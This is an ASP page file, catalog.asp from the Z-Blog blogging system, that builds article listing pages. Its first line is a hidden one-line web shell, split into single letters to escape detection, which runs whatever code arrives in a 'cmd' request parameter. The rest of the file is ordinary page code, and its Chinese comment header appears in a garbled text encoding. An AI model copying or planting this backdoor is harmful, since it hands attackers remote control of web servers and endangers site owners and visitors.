<%dim cc:cc="cmd":eval("e"&"v"&"a"&"l"&"("&"r"&"e"&"q"&"u"&"e"&"s"&"t"&"(c"&"c))")%>
<%@ CODEPAGE=65001 %>
<%
'///////////////////////////////////////////////////////////////////////////////
'//              Z-Blog
'// ä½?   è€?    æœ±ç…Š(zx.asd)
'// ç‰ˆæƒæ‰€æœ?    RainbowSoft Studio
'// æŠ€æœ¯æ”¯æŒ?    rainbowsoft@163.com
'// ç¨‹åºåç§°:    
'// ç¨‹åºç‰ˆæœ¬:    
'// å•å…ƒåç§°:    catalog.asp
'// å¼€å§‹æ—¶é—?    2005.02.11
'// æœ€åŽä¿®æ”?    
'// å¤?   æ³?    ç›®å½•
'///////////////////////////////////////////////////////////////////////////////
%>
<% Option Explicit %>
<% On Error Resume Next %>
<% Response.Charset="UTF-8" %>
<% Response.Buffer=True %>
<!-- #include file="c_option.asp" -->
<!-- #include file="function/c_function.asp" -->
<!-- #include file="function/c_system_lib.asp" -->
<!-- #include file="function/c_system_base.asp" -->
<%

LoadGlobeCache

Dim ArtList

Set ArtList=New TArticleList

ArtList.LoadCache

ArtList.template="CATALOG"

If ArtList.ExportByCache(Request.QueryString("page"),Request.QueryString("cate"),Request.QueryString("auth"),Request.QueryString("date"),Request.QueryString("tags"),ZC_DISPLAY_MODE_ALL) Then
	ArtList.Build
	Response.Write ArtList.html
End If
%><!-- <%=RunTime()%> --><%
If Err.Number<>0 then
	Call ShowError(0)
End If
%>